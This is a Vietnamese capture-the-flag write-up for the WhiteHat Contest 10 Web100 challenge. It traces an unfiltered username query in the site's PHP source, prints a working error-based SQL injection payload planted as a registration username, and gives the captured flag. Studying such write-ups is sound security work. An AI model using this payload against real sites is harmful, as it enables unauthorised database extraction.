[WhiteHat Contest 10] Web100 – Membership v1

Url + Source

Bài này tuy là 100 points nhưng mà làm khá là cực (╥﹏╥), cực ở việc không biết tấn công như nào cho tới khi có hint, cực ở việc dò source để tìm lỗi, cực ở việc biết tấn công như nào rồi thì ngồi đăng ký email để đăng ký nick lại còn bị block vì đăng ký quá nhanh và quá nhiều. Tại sao btc lại không bỏ cái confirm code email đi nhỉ?

Nếu bạn đã có vờn qua vờn lại với challenge này thì hẳn cũng biết là trang này bị lỗi error-based sqli, như vậy việc đầu tiên là vào source tìm những chỗ nào input không bị filter để inject query vào.

change-pwd.php:

require_once(“./include/membersite_config.php”);

if(!$fgmembersite->CheckLogin())<br ?–> {
$fgmembersite->RedirectToURL(“login.php”);
exit;
}

if(isset($_POST[‘submitted’]))
{
if($fgmembersite->ChangePassword())
{
$fgmembersite->RedirectToURL(“changed-pwd.html”);
}
}

func CheckLogin() không có vấn đề gì, thử kiểm tra func ChangePassword() trong fg_membersite.php nào

function ChangePassword()
{
if(!$this->CheckLogin())
{
$this->HandleError(“Not logged in!”);
return false;
}

if(empty($_POST[‘oldpwd’]))
{
$this->HandleError(“Old password is empty!”);
return false;
}
if(empty($_POST[‘newpwd’]))
{
$this->HandleError(“New password is empty!”);
return false;
}

$user_rec = array();
$username = $this->CurrentLogin();

if(!$this->GetUserFromName($username,$user_rec))
{
return false;
}

$pwd = trim($_POST[‘oldpwd’]);

$salt = $user_rec[‘salt’];
$hash = $this->checkhashSSHA($salt, $pwd);

if($user_rec[‘password’] != $hash)
{
$this->HandleError(“The old password does not match!”);
return false;
}
$newpwd = trim($_POST[‘newpwd’]);

if(!$this->ChangePasswordInDB($user_rec, $newpwd))
{
return false;
}
return true;
}

Như đã thấy, trong đoạn code trên có function GetUserFromName($username,$user_rec), là 1 function không bị filter, func này thực hiện câu query Select * from $this->tablename where username=’$username’

Tới đây thì chắc chắn là phải inject vào username rồi, và tất nhiên là không thể input vào form login vì login không thành công thì không đi đến page change-pwd được

=> Inject vào form register.

Tới đây thì mình tự test bằng cách đăng ký thử 1 nick có kí tự đặc biệt các kiểu xem có hợp lệ không. chứ ngồi đọc source nữa thì đau đầu thêm :v => Được

Tóm lại, để giải bài này phải làm như sau:

Step1: Đăng ký 1 nick là 1 câu sqli error based
Step2: Confirm email
Step3: Login vào
Step4: Change password
Step5: Tạo thêm mail rác để lặp lại Step1 cho tới khi bị block đăng ký mail (╥﹏╥)

Cụ thể hóa (ở đây mình đi thẳng tới đích luôn :v)

Step1: ‘ And (Select 2 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(Web100Flag,HintForWeb200),1,145) FROM flag),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)– –
Step2: Vào email của bạn confirm code
Step3: Login vào nick như Step1
Step4: Change password

Flag: WhiteHat{cd8c06b085d613c427d03e9ee334ef2487765b4c}
HintForWeb200: /web200_11846c9d4e44842fb2502566668567af/access-controlled.php

Thanks my friend for supporting me this challenge

Leave a comment